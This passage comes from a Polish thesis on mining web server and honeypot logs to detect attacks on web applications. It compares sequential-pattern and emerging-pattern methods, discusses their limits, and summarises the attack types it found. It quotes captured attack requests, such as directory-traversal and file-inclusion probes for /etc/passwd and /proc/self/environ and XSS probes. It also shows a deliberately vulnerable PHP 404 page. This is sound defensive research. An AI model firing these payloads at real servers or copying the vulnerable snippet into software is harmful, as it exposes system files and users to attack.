— /scripts/fake.cgi?arg=/\%2e\%2e/\%2e\%2e/\%2e\%2e/\%2e\%2e/\%2e\%2e/winnt/win.ini,

— //../../../../../../../../../../../../etc/passw,— /cgi-bin/index.php?configFile=../../../../../../../../../etc/

passwd.

Skanowanie w poszukiwaniu systemu e107 wykryłem na podstawie wzorca( e107.js, e107_files ).

Oprócz zadan ukierunkowanych na aplikacje Zen Cart, np. wzorce ( zencart )czy ( cart, zen ), znalezione zostały wzorce bardziej ogólne:

— ( shop ),— ( store ).

Analiza powiazanych zadan wykazała, ze dotycza one równiez innych platformsklepów internetowych. Dla przykładu ponizsze zadania moga dotyczyc aplikacjiYiiShop:

— /store/install.txt,— /shop/install.txt.

Dodatkowo zarejestrowane zostało zadanie /bemarket/shop/index.php?pageurl=viewpage&filename=../../../../../../../../../../../../../../etc/passwd, które dotyczy aplikacji BBS E-Market.

6.2.2. Zbiór zadan z logów serwera HTTP

Analiza danych: eksperyment nr 1

Dla połaczonego zbioru danych oraz wsparcia na poziomie 1% w wyniku działa-nia algorytmu otrzymałem 26 279 wzorców. Jest to liczba dosyc duza, jednak az25 503 wzorców pochodzi z jednego okna czasowego i dotyczy jednego typu zadan,które odwołuja sie do wywołania UNIX’owego polecenia man2html. Wszystkie URItych zadan rozpoczynaja sie od frazy /cgi-bin/man/man2html i stanowia az 40%

Page 54: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

6.2. Wzorce wyskakujace 49

wszystkich badanych przeze mnie zadan (153 349 zadan na 385 288 wszystkichanalizowanych).

W tym eksperymencie wykryłem wszystkie rodzaje ataków przedstawionychw rozdziale 3. Udało mi sie zidentyfikowac ponizej wymienione ataki.

1) Piec róznych aplikacji, wzgledem których nastapiła próba wykorzystania podat-nosci typu directory traversal. Dodatkowo wykryłem czternascie róznych wty-czek aplikacji Joomla, które wprowadzały do niej tego typu podatnosc.

2) Czterdziesci osiem róznych aplikacji, wzgledem których nastapiła próba wyko-rzystania podatnosci typu remote code execution. Dodatkowo wykryłem 6 róz-nych wtyczek aplikacji Joomla, które wprowadzały do niej tego typu podatnosc.

3) Jeden atak typu full path disclosure. Aplikacja PHPNuke zawierała zarównopodatnosc typu remote code execution jak i full path disclosure.

4) Jeden atak typu cross-site scripting. Atak ten nie był ukierunkowany na zadnaaplikacje.

5) Skanowania w celu wykrycia pieciu róznych aplikacji. Oprócz omawianychwczesniej skanowan PHPMyAdmin oraz RoundCube wykryłem skanowania apli-kacji Microsoft FrontPage, Mantis Bugtacker oraz ZenCart.

W przypadku wykrytego ataku typu cross-site scripting URL zadania miało na-stepujaca postac: /<script>cross_site_scripting.nasl<. Atak był ukierun-kowany na odnalezienie podatnosci na stronie błedu 404. W tym wypadku po-datnosc polegałaby na umieszczeniu w tresci strony błedu 404, sciezki przesłanejw zadaniu HTTP. Przykładowy kod generujacy tresc strony, który zawiera oma-wiana podatnosc, przedstawiłem na wydruku 6.1. Wysłanie zadania /<script>alert(’XSS’)<\%2Fscript> spowodowałoby wyswietlenie komunikatu po stronieprzegladarki uzytkownika.

1 <html><head>

<t i t le>Strona 404</t i t le></head>

5 <body>Strona <?php $_SERVER[ ’REQUEST_URI’ ] ?> nie i s tn i e j e

</body></html>

Wydruk 6.1: Strona błedu 404 podatna na atak cross-site scripting

Analiza danych: eksperyment nr 2

Ze wzgledu na duza liczbe zadan z próba wywołania polecenia man2html w tymeksperymencie zdecydowałem sie na całkowite pominiecie wszystkich tych zadan,których URL rozpoczynaja sie od /cgi-bin/man/man2html. Tak przygotowanedane poddałem analizie z poziomem wsparcia 0,01% oraz oknem czasowym 14 dni.Eksperyment został wykonany w przedziale czasu 10.11.2011 – 08.12.2011.

Wykrytych zostało 3 543 wzorców, które podczas dalszej analizy okazały siewzorcami pochodzacymi z jednego zródła tj. z adresu z sieci wewnetrznej. Ma-szyna ta komunikowała sie z serwerem HTTP w trakcie jednego dnia w godzinach10:50:50 do 16:14:06. W trakcie tej konwersacji wysłanych zostało 200 679 zadanHTTP czyli ponad 88% zadan z okresu 10.11.2011 – 08.12.2011 (w tym okresiew sumie zarejestrowano 227 906 zadan). Analizowane zadania były próba wykryciaistnienia szeregu róznych podatnosci.

Page 55: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

6.2. Wzorce wyskakujace 50

0

5000

10000

15000

20000

25000

30000

1 4 7 10 13 16 19 22 25 28 31 34 37 40 43 46 49 52 55 58 61 64 67

Licz

ba

żąd

Numer okna czasowego

Rysunek 6.3: Rozkład liczby zadan w poszczególnych oknach czasowych

Na podstawie danych mozna wywnioskowac, ze danego dnia został uruchomionyskaner podatnosci. Fakt, ze skanowanie pochodziło z maszyny z sieci wewnetrznejmoze swiadczyc o tym, ze zostało ono uruchomione przez jednego z administrato-rów. Z tego wzgledu rezultaty pochodzace z maszyny skanujacej nie zostały ujeteprzeze mnie w prezentowanych podsumowaniach.

Analiza danych: eksperyment nr 3

W tym eksperymencie pominiete zostały wszystkie zadania z maszyny o którejmowa była w poprzednim punkcie. Analiza obejmowała cały okres posiadanychprzeze mnie danych. Wsparcie ustaliłem na poziomie 0,01%, a okno czasowena 14 dni. Ustalenie tak niskiego wsparcia podyktowane było niejednorodnymrozkładem liczby zadan wzgledem okna czasowego. Na rysunku 6.3 przedstawiłemwykres tego rozkładu. Wynika z niego, ze ostatnie 5 okien czasowych znaczacoodbiega pod wzgledem liczby zadan od pozostałych. Tak niski próg wsparcia miałzapewnic, ze wykryte zostana wzorce o niskim wsparciu wystepujace w oknachczasowych gdzie liczba zadan jest wysoka. W przypadku okna czasowego 66, dlaktórego liczba zadan była najwyzsza i wynosiła 27 227, wykryte zostały wzorceo wsparciu 3.

Przy tak zdefiniowanych parametrach zostało wykrytych 11 045 wzorców,co przy bardzo niskim poziomie wsparcia jest całkiem zrozumiałe. W tym ekspery-mencie stosunek liczby wzorców do całkowitej liczby analizowanych zadan (179 363zadania) wynosił niecałe 6,2%. Wykryte zostały w sumie 233 rózne podatnosci(inne niz w przypadku poprzednich eksperymentów) zaklasyfikowane przeze mniedo trzech rodzajów ataków:

— SQL injection — 35 podatnosci,— local file inclusion — 61 podatnosci,— remote code execution — 137 podatnosci.

Page 56: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

6.3. Wnioski 51

Na szczególna uwage zasługuje fakt, ze 139 podatnosci dotyczyło róznych dodatkówdo aplikacji Joomla lub Mambo.

6.3. Wnioski

Ponizej na podstawie wykonanych eksperymentów, przedstawiłem porównaniewykorzystanych metod oraz algorytmów. Opisałem róznice w otrzymywanych wy-nikach, zidentyfikowane wady i zalety zastosowanych metod, a takze problemy najakie sie natknałem w trakcie badan. Ostatni punkt opisuje sposób wyznaczaniaparametrów przetestowanych algorytmów.

6.3.1. Porównanie zastosowanych metod

Wykorzystanie pakietu Statistica i algorytmu wykrywania wzorców sekwencyj-nych dawało interesujace wyniki, ale przy wiekszych zbiorach danych jego uzycieokazało sie praktycznie niemozliwe. Dodatkowo algorytm ten ukierunkowany bar-dziej jest na wykrywanie zaleznosci pomiedzy transakcjami (w moim przypadkuzadaniami), co przy tego typu danych było mało przydatne. W przypadku ana-liz, które przeprowadzałem wazniejsze były zaleznosci pomiedzy elementami URLjednego zadania niz elementami URL kilku zadan.

Fakt zmudnego analizowania i filtrowania danych dodatkowo sprzyjał pomył-kom. Nadmierna chec odkrycia interesujacych powiazan kilkukrotnie skutkowałaodfiltrowaniem z bazy danych zadan, które powinny w niej pozostac w celu ichdalszej analizy. Pomyłki takie wymagały ode mnie powtórzenia błednie wykonanejanalizy. Dodatkowo fakt, ze dane zwiekszaja swoja objetosc w czasie sprawia, zew przypadku potrzeby dalszego stosowania tej metody wykrycie wzorców o niskimwsparciu wymagałoby jeszcze wiekszych nakładów pracy. Ułatwieniem mogłobybyc podzielenie zbioru danych na mniejsze podzbiory, co w pewien sposób upodob-niło by to do działania algorytmu wzorców wyskakujacych.

Juz pierwsze eksperymenty z algorytmem wzorców wyskakujacych zaowoco-wały bardzo dobrymi rezultatami. Podział zbioru danych na mniejsze podzbioryskutkował wykryciem wzorców, o bardzo niskim wsparciu, np. wzorce utworzonena podstawie tylko dwóch zadan (wykorzystujac algorytm wzorców sekwencyjnychudało mi sie uzyskac wzorce skonstruowane na podstawie co najmniej 8 zadan).Pojedyncza analiza uruchomiona na zbiorze danych pochodzacych z plików pcapskutkowała wykryciem wiekszej liczby skanowan niz przy wszystkich analizachwykonanych za pomoca algorytmu wzorców sekwencyjnych.

Wykorzystanie algorytmu maksymalnych zbiorów czestych przy wykrywaniuwzorców wyskakujacych oraz ich pojedyncze prezentowanie spowodowało obnize-nie liczby generowanych wyników. Dzieki temu musiałem przeanalizowac duzomniej danych, przez co zmniejszyło sie ryzyko pominiecia waznych wzorców. Na-lezy jednak miec na uwadze, ze niepowtarzanie wzorców ma sens tylko i wy-łacznie dla pojedynczej analizy. Wynika to z faktu, ze jeden wzorzec mozedotyczyc próby wykorzystania podatnosci zupełnie róznych aplikacji, np. wy-kryte wzorce ( install.txt, zen ), ( shop ), ( zencart ), ( cart, zen ),( install.txt, cart ), ( store ), które zostały wykryte na podstawie zadanpojawiajacych sie w nieduzych odstepach czasowych na pierwszy rzut oka doty-cza aplikacji ZenCart. Tylko i wyłacznie na podstawie analizy zadan spełniajacychwykryty wzorzec mogłem ustalic, ze tak naprawde miałem do czynienia z próba

Page 57: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

6.3. Wnioski 52

wykorzystania podatnosci kilku aplikacji — w moim przypadku była to równiezaplikacja BBS E-Market. Gdyby powtarzajace wzorce były ignorowane pomiedzyanalizami, mogłoby dojsc do przypadku, w którym pojawienie sie nowej podatnoscio znanym juz wzorcu nie spowodowałoby jej wykrycia.

Uzycie poteznego pakietu jakim jest Statistica powinno zapewnic komfort wy-konywania analiz rozumiany zarówno jako mnogosc dostepnych narzedzi, jak i er-gonomie pracy. Niestety w moim przypadku sposród bogatego wachlarza narzedzii opcji przydatna okazała sie nieznaczna ich czesc. Dodatkowo fakt wolnego dzia-łania całego srodowiska dla duzej ilosci danych spowodował, ze lepiej sprawdzałasie aplikacja zaimplementowana w ramach pracowni dyplomowej. W szczególno-sci bardzo duzym ułatwieniem okazała sie mozliwosc wyswietlania listy wszystkichzadan powiazanych z danym wzorcem sekwencyjnym. W przypadku systemu Sta-tistica dla kazdego wzorca musiałem samodzielnie konstruowac zapytania SQL,co przy nawet nieduzej liczbie wykrytych wzorców wymagało ode mnie znacznychnakładów pracy. Wada własnego systemu jest to, ze potrzeba duzego nakładu pracyna samo stworzenie systemu. Nie w kazdym przypadku takie rozwiazanie jestmozliwe pomimo niewatpliwych zalet jakimi jest przede wszystkim dostosowaniedo własnych potrzeb.

W przypadku algorytmu wzorców sekwencyjnych, z uwagi na potrzebe inge-rowania w dane (poprzez ich filtrowanie) przez eksperta, bardzo ograniczone samozliwosci automatyzacji procesu odkrywania wiedzy. Jedyne formy usprawnie-nia jakie mozna zastosowac, to wszelkiego rodzaju udogodnienia wizualne takiejak np. mozliwosc wyswietlania zadan, które spełniaja dany wzorzec oraz róznegorodzaju filtrowania. Nie jest jednak mozliwa automatyzacja procesu w taki sposób,aby analiza była okresowo wykonywana automatycznie, a jedynie jej wyniki byłyprzedmiotem analizy eksperta.

Algorytm wzorców wyskakujacych duzo lepiej nadaje sie do celów automatycz-nego wykrywania nowych wzorców. Ze wzgledu na fakt podziału zbioru danychna mniejsze podzbiory, a takze na praktycznie brak potrzeby wczesniejszego filtro-wania danych przez eksperta istnieje mozliwosc zbudowania systemu, który okre-sowo uruchamiałby analize dla zgromadzonych danych.

6.3.2. Ograniczenia

Pomimo tego, ze korzystajac z algorytmu wzorców wyskakujacych uzyskałemlepsze wyniki niz przy pomocy algorytmu wzorców sekwencyjnych, to nie jest on po-zbawiony wad. Wynikaja one z faktu braku mozliwosci jednoznacznego zakwalifi-kowania wzorca do odpowiedniej kategorii. W trakcie prowadzenia eksperymentów,wystepujac w roli eksperta dziedziny, musiałem wielokrotnie klasyfikowac wzorcei zadania. Na rysunku 6.4 przedstawiłem algorytm, przedstawiajacy sposób anali-zowania kazdego wzorca w celu okreslenia, czy reprezentuje on nielegalna aktyw-nosc. Ponizej opisałem ograniczenia algorytmów eksploracji danych oraz trudnoscizwiazane z analiza wyników przez nie wygenerowanych w kontekscie kazdego krokualgorytmu.

Przy okreslaniu czy wzorzec moze dotyczyc ataku problemem jest fakt, ze jedenwzorzec moze dotyczyc wielu róznych aktywnosci, w szczególnosci róznych ataków.Im bardziej ogólny jest wzorzec tym ciezej jest stwierdzic czy dotyczy on jakiejsnielegalnej aktywnosci, czy jest zwykłym ruchem sieciowym. To samo dotyczywzorców, które sa do siebie podobne. To wszystko sprzyja ominieciu potencjalnych

Page 58: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

6.3. Wnioski 53

Czy wzorzec może dotyczyć ataku? Czy żądania spełniające dany wzorzec są próbą ataku?

Określenie jaki system jes t ata kowa ny

Określenie wersji ata kow anego sys temu

Określenie typu ataku

[tak]

[tak]

[ni e]

[ni e]

Rysunek 6.4: Algorytm weryfikacji wzorca

interesujacych wzorców, dlatego wazne jest aby na tym etapie równiez wspomagacsie zadaniami powiazanymi z danym wzorcem.

Kolejne kroki algorytmu to okreslenie czy zadania spełniajace dany wzorzec sapróba ataku oraz okreslenie typu ataku. W wiekszosci przypadków stwierdzenie,czy dane zadanie jest próba ataku, jest stosunkowo proste poniewaz wiekszoscz nich skonstruowana jest podobnie. Dla przykładu ataki typu local file inclusionbardzo czesto w URL zadania beda zawierały napis „../” oznaczajacy przejsciedo katalogu nadrzednego.

Nastepnym krokiem jest identyfikacja atakowanego systemu. W przypadkupewnych wzorców i powiazanych z nimi zadan zauwazyłem znaczne trudnoscize zidentyfikowaniem aplikacji, której atak dotyczył, np. zadanie /secure.php?cfgProgDir=../../../../../../../proc/self/environ%00 moze doty-czyc phpSecurePages2, vBlog3 lub innej aplikacji internetowej. Taki sam problemdotyczy bardzo ogólnych URL jak np. /index1.php?p=../../../../../../../proc/self/environ%00. Ten atak niekoniecznie musi byc ukierunkowany nakonkretna aplikacje. Moze to byc próba wykrycia podatnosci testowanej aplikacji,poprzez przekazanie takich danych, które w innych aplikacjach czesto powodujaniepoprawne zachowanie systemu.

Podobny problem moze dotyczyc okreslenia podatnej wersji aplikacji. Z prze-prowadzonych przeze mnie eksperymentów wynika, ze w wiekszosci przypadków,na podstawie zadania osoba analizujaca dane nie jest w stanie okreslic, której wer-sji aplikacji dane zadanie dotyczy. Problem ten jest o tyle wazny, ze niekoniecznie

2 http://osvdb.org/show/osvdb/177833 http://osvdb.org/show/osvdb/35733

Page 59: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

6.3. Wnioski 54

msgimp ort

bin

0.1 rou ndcu be rou ndcu bem ail

con fig ph pmya dmin

con fig.i nc.ph p?p=phpi nfo();

2.8 .1

rc1

2.8 .0.8

2.6 .0

pl3

Rysunek 6.5: Przykład przedstawienia wykrytych wzorców w postaci grafu

musi zajsc sytuacja w której najnowsza wersja aplikacji zawiera dana podatnosc.Mogła zostac ona usunieta w danej wersji poprzez, np. przebudowe danego modułulub mechanizmu.

Obecnie zaden system komputerowy nie moze byc wykorzystany do zastapie-nia eksperta w wykonywaniu opisanych powyzej kroków. Aplikacje moga jedyniewspomóc eksperta przy podejmowaniu decyzji. Wynika to z faktu, ze algorytmyoperujace na danych, dla których jednoznaczna klasyfikacja nie moze zostac za-pisana w postaci algorytmu maja pewien niezerowy poziom błedu. Oznacza to, zemoga one byc wykorzystane do wspomagania pracy eksperta, jednak jako auto-nomiczne jednostki podejmowania decyzji moga generowac pomyłki. Oczywiscieczłowiek równiez popełnia błedy, jednak w przeciwienstwie do maszyny posługujesie niealgorytmicznym procesem myslowym dzieki któremu jest w stanie wychwycicnowe rodzaje ataków.

Rola systemu jest takie zaprezentowanie danych, aby wyeliminowac czynnikiludzkie takie jak zmeczenie czy niechec. Ponizej w punktach przedstawiłem przy-kłady cech dobrego systemu komputerowego do wspomagania pracy eksperta przypodejmowaniu decyzji:

— analizowanie danych jedynie z systemów honeypot,— przedstawienie wzorców w postaci grafów,— wstepne oznaczanie podejrzanych zadan oraz wzorców.

Analizowanie danych jedynie z systemów honeypot powoduje, ze w analizowa-nych danych nie ma szumu w postaci zadan zwykłych uzytkowników, bo z załozeniakazdy, kto komunikuje sie z systemem honeypot jest podejrzany.

W trakcie badan zauwazyłem, ze mimo wykorzystania algorytmu generowaniamaksymalnych zbiorów czestych wzorce sie powtarzaja. Rozumiem przez to, zeniektóre wzorce posiadaja wspólna czesc. Przedstawienie wyników w postaci grafu

Page 60: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

6.3. Wnioski 55

Rysunek 6.6: Ekran analizy bez udogodnien w postaci kolorowania i sortowaniawzorców

mogłoby ułatwic analizowanie duzych ilosci danych poniewaz podobne wzorce zo-stałyby zgrupowane do jednego podgrafu. Dla przykładu ponizsze wzorce moznaprzedstawic w postaci grafu na rysunku 6.5:

— ( bin, msgimport, roundcubemail ),— ( bin, msgimport, 0.1 ),— ( bin, msgimport, roundcube ),— ( config, config.inc.php?p=phpinfo();, phpmyadmin, 2.8.0.3 ),— ( config, config.inc.php?p=phpinfo();, phpmyadmin, 2.6.0, pl3 ),— ( config, config.inc.php?p=phpinfo();, phpmyadmin, rc1, 2.8.1 ).

Do celów wstepnego oznaczania podejrzanych zadan oraz wzorców mozna wyko-rzystac rózne klasyfikatory oraz gotowe sygnatury. Na ich podstawie system mógłbyodpowiednio sortowac wyniki oraz stosowac rózna kolorystyke. Zauwazyłem, zeanalizowanie danych przedstawionych jako długa lista wzorców lub zadan (rysu-nek 6.6) wymaga duzego skupienia. Duzo wygodniej by było, gdyby dane zostaływstepnie oznaczone oraz posortowane. Na rysunku 6.7 przedstawiłem przykład ta-kiej wizualizacji. Wiersze pokolorowane mogłyby oznaczac waznosc danego wzorcalub typ rozpoznanego wzorca. Wiersze niepokolorowane oznaczałyby porcje danychnierozpoznanych.

6.3.3. Metodyka badan

Doswiadczenia z wykonywanych eksperymentów doprowadziły do powstaniapewnej metodyki badan. Polegała ona na iteracyjnym wykonywaniu eksperymen-tów w celu polepszenia wyników tj. wykrycia nowych zagrozen. Kazda iteracjaskładała sie z nastepujacych kroków:

— ustawienie parametrów algorytmu,— czyszczenie danych,— analiza danych.

Page 61: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

6.3. Wnioski 56

Rysunek 6.7: Przykład kolorowania i sortowania analizowanych wzorców

Parametry algorytmu ustawiałem na podstawie wyników otrzymanych w po-przedniej iteracji. Drugi krok polegał na usunieciu zbednych danych i równiez byłwykonywany na podstawie wyników poprzedzajacej iteracji. W przypadku pierwszejiteracji usuwane były dane, o których było wiadomo, ze nie maja zadnej wartosciw kontekscie analizy, np. zadania robotów wyszukiwarek internetowych. Ostatnietap miał na celu identyfikacje zagrozen oraz danych zbednych w dalszej analizie.

Powyzsza metodyka miała zastosowanie głównie w przypadku wzorców sekwen-cyjnych ze wzgledu na ich specyfike. Eksperymenty z wykorzystaniem wzorcówwyskakujacych, opisane w punkcie 6.2.2 wykazały jednak, ze anomalie w zbiorzedanych, takze w przypadku wzorców wyskakujacych, moga spowodowac potrzebeiteracyjnego wykonywania kolejnych badan.

6.3.4. Dobór parametrów sterujacych algorytmu wzorców wyskakujacych

Parametry algorytmu wzorców wyskakujacych powinny byc dobierane w zalez-nosci od typu i ilosci posiadanych danych oraz oczekiwanych rezultatów. Parametrokna czasowego wpływa na ilosc danych analizowanych w danym oknie czaso-wym. Im wartosc parametru jest wyzsza, tym wiecej danych w tym oknie zostaniewykrytych, a pojedyncze wzorce beda reprezentowały wieksza liczbe zadan. Jegowartosc nie powinna byc zbyt duza ze wzgledu na pózniejsze trudnosci w analiziewynikowych wzorców.

Z drugiej strony zbyt niska wartosc okna czasowego bedzie wpływała na wy-krywanie takich samych wzorców w kolejnych analizowanych oknach czasowych.Dla przykładu załózmy, ze na podstawie zadania X generowany jest wzorzec Y.Jesli zadanie X wystepuje w oknach czasowych 1,3 i 5, a nie wystepuje w oknach2, 4 i 6 to wzorzec Y zostanie wykryty w tych samych oknach czasowych co za-danie X. Jesli wartosc parametru okna czasowego zostanie zwiekszona dwukrotnieto wtedy zadanie X pojawi sie w oknach czasowych 1, 2 oraz 3. Algorytm wykryjewtedy wzorzec Y tylko w oknie czasowym 1.

Parametr wartosci minimalnego wsparcia powinien byc wyznaczany w zalezno-sci od okna czasowego. Do celów wykrywania nowych podatnosci jego wartoscpowinna byc taka, aby rezultaty zawierały nawet pojedyncze zadania HTTP. Czylizwiekszanie wartosci okna czasowego powinno pociagac za soba obnizanie wartosciminimalnego wsparcia.

Page 62: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

7. Podsumowanie

W niniejszej pracy przedstawiłem wyniki badan, które miały na celu okresleniemozliwosci wykrywania nieznanych podatnosci aplikacji WWW, poprzez badanielogów przy pomocy technik eksploracji danych. Do badan wykorzystałem logi po-chodzace z róznych zródeł: logi z serwerów WWW oraz logi z systemu honeypot.W ramach procesu przygotowania danych, zostały one przeze mnie przekształconedo wspólnej postaci, akceptowanej przez wykorzystywane algorytmy, a takze usu-niete zostały dane nieprzydatne podczas analizy, miedzy innymi zadania wysyłaneprzez roboty przegladarek internetowych.

Do wykrywania wzorców sekwencyjnych wykorzystałem pakiet Statistica. Nie-stety aplikacja ta nie umozliwiała wykonywania podobnych analiz z wykorzysta-niem wzorców wyskakujacych. W tym celu zaimplementowałem własny system,który oprócz mozliwosci manualnej ich analizy, posiada równiez funkcjonalnoscautomatycznego wczytywania plików logów oraz ich analizowania. Dzieki temuekspert, który korzysta z tej aplikacji ma za zadanie jedynie przeanalizowac go-towe wyniki. Dodatkowa zaleta stworzonego przeze mnie systemu jest dodanie dojego interfejsu dodatkowych funkcjonalnosci ułatwiajacych prace z analizowanymiwzorcami.

Korzystajac z metod eksploracji danych i posługujac sie opracowana przeze mniemetodyka, na podstawie posiadanych danych udało mi sie wykryc ataki na ponad308 róznych aplikacji. Przewazajaca czesc z nich dotyczy aplikacji napisanychw jezyku PHP (tylko dwa ataki dotycza tych aplikacji).

PHP jako jezyk skryptowy z dynamiczna kontrola typów oraz dynamicznym de-klarowaniem zmiennych jest jezykiem bardzo elastycznym i prostym do nauki. Do-datkowo obsługa skryptów PHP jako standard znacznej wiekszosci usług hostingo-wych przekłada sie na niekwestionowana popularnosc tego jezyka w uzyciu go dotworzenia portali internetowych. Jednak cechy PHP, które czynia ten jezyk prostymw nauce jednoczesnie stwarzaja mozliwosc popełnienia szeregu błedów zwiazanychz bezpieczenstwem aplikacji. Ponizej przedstawiłem przykłady typowych błedówprogramistycznych, które powoduja wystepowanie luk bezpieczenstwa w aplika-cjach PHP. Wyselekcjonowałem je ze zbioru zidentyfikowanych przeze mnie ataków.Do typowych błedów naleza:

1) mozliwosc dołaczania skryptów z lokalizacji przekazanej w zmiennej, co sprzyjapowstawaniu podatnosci typu file inclusion; jesli sciezka ustalana jest na pod-stawie danych przekazanych przez uzytkownika, to w zaleznosci od jej wykorzy-stania powstaje podatnosc typu local file inclusion lub remote file inclusion,

Page 63: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

7. Podsumowanie 58

2) mechanizm register_globals [30], który umozliwia rejestrowanie zmiennychprzekazanych przez uzytkownika wraz z mozliwoscia dołaczenia skryptów z lo-kalizacji przekazanej w zmiennej umozliwia nadpisanie wartosci zmiennych glo-balnych danymi przekazanych w zadaniu HTTP, co sprzyja powstawaniu po-datnosci typu file inclusion (w najnowzej wersji PHP funkcjonalnosc ta zostałacałkowicie usunieta).

2

11

15

14

66

34

44

18

95

4

0 20 40 60 80 100

2002

2003

2004

2005

2006

2007

2008

2009

2010

2011

Liczba ataków

Lata

Rysunek 7.1: Liczba ataków w podziale na rok opublikowania wykorzystywanejluki

1%

27%

11%

63%

XSS

Local file inclusion

SQL injection

Remote code execution

Rysunek 7.2: Ilosciowe zestawienie typów wykrytych ataków

Dane, na których prowadziłem eksperymenty pochodziły z okresu od28.05.2009 do 22.12.2011. Na ich podstawie wykryłem ataki, które dotyczyły po-datnosci opublikowanych pomiedzy 17.05.2002 a 08.11.2011. Rysunek 7.1 przed-stawia liczbe ataków wykorzystujacych luki opublikowane w danych latach. Wy-nika z niego, ze roboty skanuja serwery w poszukiwaniu luk bezpieczenstwa nawetsprzed 10 lat.

Page 64: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

7. Podsumowanie 59

SQL Injection Local file inclusion Remote code execution

Rysunek 7.3: Rozkład typu ataku wzgledem czasu wykrycia podatnosci

Na rysunku 7.2 przedstawiłem ilosciowe zestawienie wykrytych przeze mnie ty-pów ataków. Najwiecej, bo ponad 60% ataków dotyczyło podatnosci zdalnego wy-konania kodu. Wiekszosc z nich dotyczyła wykonania kodu ze zdalnej lokalizacji.Ponad 26% wykrytych ataków dotyczyło podatnosci typu directory traversal, a nie-całe 12% to próba wykorzystania SQL Injection. Wszystkie te ataki skierowane sabezposrednio na aplikacje, a ich obsługa jest łatwa do zaimplementowania w robo-tach skanujacych. Sprowadza sie ona do wysłania odpowiedniego, stałego zadaniaoraz zbadania odpowiedzi. Nie jest wymagane wczesniejsze sprawdzenie, czy poddanym adresem uruchomiona jest odpowiednia aplikacja, poniewaz w przypadkujej braku z maszyny zostanie zwrócony odpowiedni bład. Z tego wzgledu w trak-cie eksperymentów wykryłem tylko jeden przykład ataku skierowanego przeciwkouzytkownikom — był to atak cross-site scripting, który nie był ukierunkowanyna zadna konkretna aplikacje. Dodatkowo dotyczył obszaru aplikacji, który niewymagał logowania konkretnego uzytkownika.

Na rysunku 7.3 przedstawiłem rozkład danego typu ataku wzgledem czasu wy-krycia podatnosci, natomiast na rysunku 7.4 liczbe ataków w podziale na rokopublikowania wykorzystywanej luki oraz jej typ. Uwidaczniaja one popularnoscdanego typu ataku na przestrzeni czasu. Najczestsza luka w aplikacjach w latach2002 – 2009 polegała na mozliwosci wykonania zdalnego kodu. Najwiecej tegotypu podatnosci zostało opublikowanych w roku 2006. Po tym roku liczba po-datnosci tego typu malała na rzecz podatnosci typu SQL Injection. Moze to mieczwiazek z modyfikacja domyslnej konfiguracji serwera PHP w celu zwiekszenia bez-pieczenstwa aplikacji internetowych. Przedstawione wyniki maja odzwierciedleniew publikacjach organizacji zajmujacych sie bezpieczenstwem systemów informa-tycznych [25] [6].

Na uwage zasługuje równiez fakt, ze 55% wszystkich podatnosci skierowanychbyło na dodatki do aplikacji. Głównie dodatki do popularnych aplikacji CMS:Mambo oraz Joomla. Zidentyfikowałem równiez pojedyncze przypadki wprowa-dzania podatnosci przez dodatki do aplikacji: phpBB, WordPress, ImageManageroraz XOOPS. Wynika z tego, ze nawet jesli dana aplikacja nie zawiera podatnosci,to mozna takowa wprowadzic instalujac dodatek. Swiadomosc tego jest wazna,bo o ile jako uzytkownicy mamy zaufanie do danej aplikacji, to nie mozemy miec

Page 65: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

7. Podsumowanie 60

0 20 40 60 80

2002

2003

2004

2005

2006

2007

2008

2009

2010

2011

Liczba ataków

Lata

SQL injection

Remote code execution

Local file inclusion

Rysunek 7.4: Liczba ataków w podziale na rok opublikowania wykorzystywanejluki oraz jej typ

takiego samego zaufania do dodatków, które z reguły sa pisane przez innych uzyt-kowników. Dodatki takie moga oferowac ciekawa funkcjonalnosc, ale nie zawszesa napisane z dbałoscia o bezpieczenstwo.

W trakcie badan zidentyfikowałem kilka mozliwych kierunków rozwoju. W głów-nej mierze wiaza sie one z dalsza automatyzacja procesu odkrywania nowych po-datnosci systemów.

Podczas prowadzenia eksperymentów, po wytypowaniu podejrzanych wzorców,bardzo duzo czasu zajmowało sprawdzanie jakiego systemu dany atak dotyczył orazczy dana podatnosc jest juz znana. Poniewaz mozna wytypowac kilka serwisów,które posiadaja bogate bazy danych opisanych podatnosci, to proces ich wyszuki-wania z powodzeniem mozna zrealizowac w systemie wspomagajacym.

Dalsze kierunki badan moga dotyczyc klasyfikowania wzorców. W pierwszejkolejnosci okreslania czy dany wzorzec dotyczy ataku, a nastepnie do okreslaniajakiej aplikacji oraz w jakiej wersji dany atak dotyczy.

